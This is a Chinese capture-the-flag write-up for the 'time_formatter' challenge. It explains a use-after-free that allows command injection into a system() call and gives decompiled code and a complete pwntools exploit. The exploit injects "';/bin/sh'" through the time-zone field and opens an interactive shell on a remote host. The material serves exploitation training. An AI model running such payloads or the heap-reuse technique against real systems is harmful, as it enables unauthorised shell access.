攻防世界time_formatter writeup

UAF漏洞和命令注入。

前置知识

1、strdup函数

char * __strdup(const char *s)
{
size_t len = strlen(s) +1;
void *new = malloc(len);
if (new == NULL)
return NULL;
return (char *)memecpy(new,s,len);
}

strdup函数实现如上所示,strup函数拷贝字符串的副本到一块动态申请的内存中。

2、snprintf函数

snprintf函数原型:int snprintf(char *str, int n, char * format [, argument, ...])

str是目的字符串指针,snprintf从format中拷贝n个字符串到str中去,argument是参数。

3、getenv函数和setenv函数

getenv函数用来获取环境变量的值,setenv函数用来改变环境变量的值或者增加环境变量。

getenv函数原型:char * getenv(const char *name)

setenv函数原型:char * setenv(const char *name,const char * value,int overwrite)

name表示环境变量名,value表示环境变量的值,overwrite不为0表示可以修改和添加环境变量的值,overwrite为0表示环境变量已经有值,这时候value会被忽略。

程序分析

主调函数如下所示:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__gid_t v3; // eax
FILE *v4; // rdi
__int64 v5; // rdx
int v6; // eax
__int64 result; // rax v3 = getegid();
setresgid(v3, v3, v3);
setbuf(stdout, 0LL);
puts("Welcome to Mary's Unix Time Formatter!");
while ( 1 )
{
puts("1) Set a time format.");
puts("2) Set a time.");
puts("3) Set a time zone.");
puts("4) Print your time.");
puts("5) Exit.");
__printf_chk(1LL, (__int64)"> ");
v4 = stdout;
fflush(stdout);
switch ( str2int() )
{
case 1:
v6 = set_time_format();
goto LABEL_8;
case 2:
v6 = set_time();
goto LABEL_8;
case 3:
v6 = set_time_zone();
goto LABEL_8;
case 4:
v6 = print_time((__int64)v4, (__int64)"> ", v5);
LABEL_8:
if ( !v6 )
continue;
return 0LL;
case 5:
exit();
return result;
default:
continue;
}
}
}

set_time_format函数如下所示:

__int64 sub_400E00()
{
char *v0; // rbx v0 = add();
if ( (unsigned int)check_time_format(v0) )
{
ptr = v0;
puts("Format set.");
}
else
{
puts("Format contains invalid characters.");
delete(v0);
}
return 0LL;
}
char *add()
{
__int64 v0; // rdx
__int64 v1; // rcx
char s[1024]; // [rsp+8h] [rbp-410h]
unsigned __int64 v4; // [rsp+408h] [rbp-10h] v4 = __readfsqword(0x28u);
__printf_chk(1LL, (__int64)"%s");
fflush(stdout);
fgets(s, 1024, stdin);
s[strcspn(s, "\n")] = 0;
return sub_400C26(s, (__int64)"\n", v0, v1);
}

set_time_zone函数如下所示:

__int64 sub_400E43()
{
value = add();
puts("Time zone set.");
return 0LL;
}

exit_time函数如下所示:

signed __int64 __noreturn exit()
{
signed __int64 result; // rax
char s; // [rsp+8h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-10h] v2 = __readfsqword(0x28u);
delete(ptr);
delete(value);
__printf_chk(1LL, (__int64)"Are you sure you want to exit (y/N)? ");
fflush(stdout);
fgets(&s, 16, stdin);
result = 0LL;
if ( (s & 0xDF) == 89 )
{
puts("OK, exiting.");
result = 1LL;
}
return result;
}

print_time函数如下所示:

__int64 __fastcall print_time(__int64 a1, __int64 a2, __int64 a3)
{
char command; // [rsp+8h] [rbp-810h]
unsigned __int64 v5; // [rsp+808h] [rbp-10h] v5 = __readfsqword(0x28u);
if ( ptr )
{
__snprintf_chk(
(__int64)&command,
2048LL,
1LL,
2048LL,
(__int64)"/bin/date -d @%d +'%s'",
(unsigned int)dword_602120,
(__int64)ptr,
a3);
__printf_chk(1LL, (__int64)"Your formatted time is: ");
fflush(stdout);
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, (__int64)"Running command: %s\n", (__int64)&command);
setenv("TZ", value, 1); // setenv函数这里添加环境变量
system(&command);
}
else
{
puts("You haven't specified a format!");
}
return 0LL;
}

如果我们可以把构造语句,把command中的命令构造为';/bin/sh'(单引号是为了闭合语句中的单引号),通过system函数就可以getshell。但是如果在set_time_format函数中输入';/bin/sh'会被过滤掉,所以我们这里要利用uaf漏洞,首先通过set_time_format函数申请一块堆块,然后exit_time释放掉,通过set_time_zone重新将释放的堆块分配出来,构造语句来执行。

EXP

from pwn import *
from pwnlib import *
DEBUG=0
if DEBUG:
io=process('./time_formatter')
else:
io=remote('220.249.52.133',49902) elf=ELF('./time_formatter')
puts_got=elf.got['puts']
puts_system=elf.got['system']
fgets_got=elf.got['fgets']
atoi_got=elf.got['atoi']
system_got=elf.got['system'] def launch_gdb():
context.terminal=['gnome-terminal','-x','sh','-c']
gdb.attach(proc.pidof(io)[0]) def set_time_format(content):
io.recvuntil('> ')
io.sendline(str(1))
io.recvuntil('Format: ')
io.sendline(content) def set_time_format_err(content):
io.recvuntil('> ')
io.sendline(str(1))
io.recvuntil('Format: ')
io.sendline(content) def set_time(Unix_time):
io.recvuntil('> ')
io.sendline(str(2))
io.recvuntil('Enter your unix time: ')
io.sendline(str(Unix_time)) def set_time_zone(zone):
io.recvuntil('> ')
io.sendline(str(3))
io.recvuntil('Time zone: ')
io.sendline(zone) def print_time():
io.recvuntil('> ')
io.send(str(4)) def exit_time():
io.recvuntil('>')
io.sendline(str(5))
io.recvuntil('Are you sure you want to exit (y/N)? ')
io.sendline('N') #launch_gdb()
content1='aaaa'
set_time_format(content1)
exit_time()
set_time_zone("';/bin/sh'")
print_time()
io.interactive()

time_formatter writeup的更多相关文章

  1. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  2. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  3. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  4. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  5. 《安全智库》:48H急速夺旗大战通关writeup(通关策略)

    作者:ByStudent   题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...

  6. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  7. We Chall-Training: Encodings I -Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  8. We Chall-Encodings: URL -Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  9. We Chall-Training: ASCII—Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

随机推荐

  1. jquery循环动画

      <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title&g ...

  2. Linux-ELK日志收集

    1.ELK简介 ELK是三个开源软件的缩写,分别表示:Elasticsearch , Logstash, Kibana , 它们都是开源软件.新增了一个FileBeat,它是一个轻量级的日志收集处理工 ...

  3. Linux定时任务-cronie

    1.cronie服务介绍 Linux crontab(cronie)是用来定期执行程序的命令. 当安装完成操作系统之后,默认就会启动此任务调度命令. crond 命令每分钟会定期检查是否有要执行的工作 ...

  4. 第8章:深入理解Service

    8.1 Service存在的意义 防止Pod失联(服务发现) 定义一组Pod的访问策略(负载均衡) 8.2 为什么要使用Service Kubernetes Pod`是平凡的,由`Deployment ...

  5. Docker搭建Jenkins+Maven/Gradle——代码自动化运维部署平台(二)

    一.简介 1.Jenkins 概述: Jenkins是一个功能强大的应用程序,允许持续集成和持续交付项目,无论用的是什么平台.这是一个免费的源代码,可以处理任何类型的构建或持续集成.集成Jenkins ...

  6. centos Sonarqube ldap(AD域) 配置

    1. 测试ad 连接 命令: ldapsearch -h 192.168.1.4 -D LXWJadmin@wjj.local -w 用户密码 -b "OU=蓝翔技校,OU=挖掘机事业群,O ...

  7. 【知识点】inline函数、回调函数、普通函数

    目录 一.inline内联函数 1.1 使用 1.2 编译器对 inline 函数处理步骤 1.3 优缺点 1.3.1 优点 1.3.2 慎用内联 1.3.3 不宜使用内联 1.4 虚函数(virtu ...

  8. php漏洞 strcmp漏洞

    0x01: 背景:strcmp函数,参数是两个字符串,相等返回为零,大于,返回大于零,小于,返回小于零. 0x02: 如果传入的值,不是字符串的话,会报错,同时使得两个字符串直接相等,返回为零. 一般 ...

  9. 构建自己的dockerfile

    一)创建自己的CentOS 构建dockerfile的原理图 Docker Hub中99%的镜像都是从FROM scratch这个基础镜像过来的.然后配置需要的软件和配置来进行构建. FROM #基础 ...

  10. ROS2学习之旅(2)——配置ROS2环境

    目录 1.source一下setup文件 2.自动source 3.自动进入工作区(不常用) 4.检查环境变量是否设置成功 5.总结 ROS2依赖于使用shell(终端)环境组合工作空间的概念.工作空 ...